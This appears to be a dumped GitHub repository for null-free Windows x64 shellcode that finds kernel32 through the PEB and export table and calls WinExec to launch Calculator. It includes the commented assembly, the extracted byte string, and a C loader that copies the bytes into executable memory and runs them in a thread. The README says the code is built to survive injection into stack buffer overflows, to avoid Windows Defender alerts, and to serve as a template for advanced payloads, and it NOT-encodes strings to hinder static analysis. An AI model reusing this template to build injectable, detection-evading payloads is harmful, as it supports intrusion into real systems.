├── LICENSE.md ├── README.md ├── popDatCalc.png └── win-x64-DynamicKernelWinExecCalc.asm /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Bobby Cooke 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode 2 | + Shellcode Author: Bobby Cooke (boku) 3 | + Date: May 2nd, 2021 4 | + Tested on: Windows 10 v2004 (x64) 5 | ## Shellcode Description: 6 | + 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method. 7 | + Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities. 8 | + Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads. 9 | 10 | ![](popDatCalc.png) 11 | 12 | ## Compile & get shellcode from Kali: 13 | ```bash 14 | nasm -f win64 popcalc.asm -o popcalc.o 15 | for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done 16 | ``` 17 | -------------------------------------------------------------------------------- /popDatCalc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode/83923e228b9c1918591e8cd933ab80ac1f985847/popDatCalc.png -------------------------------------------------------------------------------- /win-x64-DynamicKernelWinExecCalc.asm: -------------------------------------------------------------------------------- 1 | # Shellcode Title: Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) 2 | # Shellcode Author: Bobby Cooke (boku) 3 | # Date: May 2nd, 2021 4 | # Tested on: Windows 10 v2004 (x64) 5 | # Shellcode Description: 6 | # 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method. 7 | # Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities. 8 | # Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads. 9 | ; Compile & get shellcode from Kali: 10 | ; nasm -f win64 popcalc.asm -o popcalc.o 11 | ; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done 12 | ; Get kernel32.dll base address 13 | xor rdi, rdi ; RDI = 0x0 14 | mul rdi ; RAX&RDX =0x0 15 | mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB 16 | mov rbx, [rbx+0x18] ; RBX = Address_of_LDR 17 | mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll 18 | mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll 19 | mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll 20 | mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) 21 | mov r8, rbx ; RBX & R8 = &kernel32.dll 22 | 23 | ; Get kernel32.dll ExportTable Address 24 | mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader 25 | add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader 26 | xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add 27 | add cx, 0x88ff 28 | shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 29 | mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable 30 | add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable 31 | 32 | ; Get &AddressTable from Kernel32.dll ExportTable 33 | xor r10, r10 34 | mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable 35 | add r10, r8 ; R10 = &AddressTable 36 | 37 | ; Get &NamePointerTable from Kernel32.dll ExportTable 38 | xor r11, r11 39 | mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable 40 | add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) 41 | 42 | ; Get &OrdinalTable from Kernel32.dll ExportTable 43 | xor r12, r12 44 | mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable 45 | add r12, r8 ; R12 = &OrdinalTable 46 | 47 | jmp short apis 48 | 49 | ; Get the address of the API from the Kernel32.dll ExportTable 50 | getapiaddr: 51 | pop rbx ; save the return address for ret 2 caller after API address is found 52 | pop rcx ; Get the string length counter from stack 53 | xor rax, rax ; Setup Counter for resolving the API Address after finding the name string 54 | mov rdx, rsp ; RDX = Address of API Name String to match on the Stack 55 | push rcx ; push the string length counter to stack 56 | loop: 57 | mov rcx, [rsp] ; reset the string length counter from the stack 58 | xor rdi,rdi ; Clear RDI for setting up string name retrieval 59 | mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] 60 | add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll 61 | mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) 62 | repe cmpsb ; Compare strings at RDI & RSI 63 | je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API 64 | incloop: 65 | inc rax 66 | jmp short loop 67 | 68 | ; Find the address of GetProcAddress by using the last value of the Counter 69 | resolveaddr: 70 | pop rcx ; remove string length counter from top of stack 71 | mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. 72 | mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] 73 | add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress 74 | push rbx ; place the return address from the api string call back on the top of the stack 75 | ret ; return to API caller 76 | 77 | apis: ; API Names to resolve addresses 78 | ; WinExec | String length : 7 79 | xor rcx, rcx 80 | add cl, 0x7 ; String length for compare string 81 | mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec 82 | not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis 83 | shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll 84 | push rax 85 | push rcx ; push the string length counter to stack 86 | call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable 87 | mov r14, rax ; R14 = Kernel32.WinExec Address 88 | 89 | ; UINT WinExec( 90 | ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 91 | ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL 92 | ; ); 93 | xor rcx, rcx 94 | mul rcx ; RAX & RDX & RCX = 0x0 95 | ; calc.exe | String length : 8 96 | push rax ; Null terminate string on stack 97 | mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" 98 | not rax 99 | ;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 100 | push rax ; RSP = "calc.exe",0x0 101 | mov rcx, rsp ; RCX = "calc.exe",0x0 102 | inc rdx ; RDX = 0x1 = SW_SHOWNORMAL 103 | sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) 104 | call r14 ; Call WinExec("calc.exe", SW_HIDE) 105 | 106 | 107 | ########################################################################################################################################### 108 | 109 | // runShellcode.c 110 | // C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net) 111 | #include 112 | void main() { 113 | void* exec; 114 | BOOL rv; 115 | HANDLE th; 116 | DWORD oldprotect = 0; 117 | // Shellcode 118 | unsigned char payload[] = 119 | "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" 120 | "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" 121 | "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" 122 | "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" 123 | "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" 124 | "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" 125 | "\x48\x83\xec\x20\x41\xff\xd6"; 126 | unsigned int payload_len = 205; 127 | exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 128 | RtlMoveMemory(exec, payload, payload_len); 129 | rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); 130 | th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); 131 | WaitForSingleObject(th, -1); 132 | } 133 | --------------------------------------------------------------------------------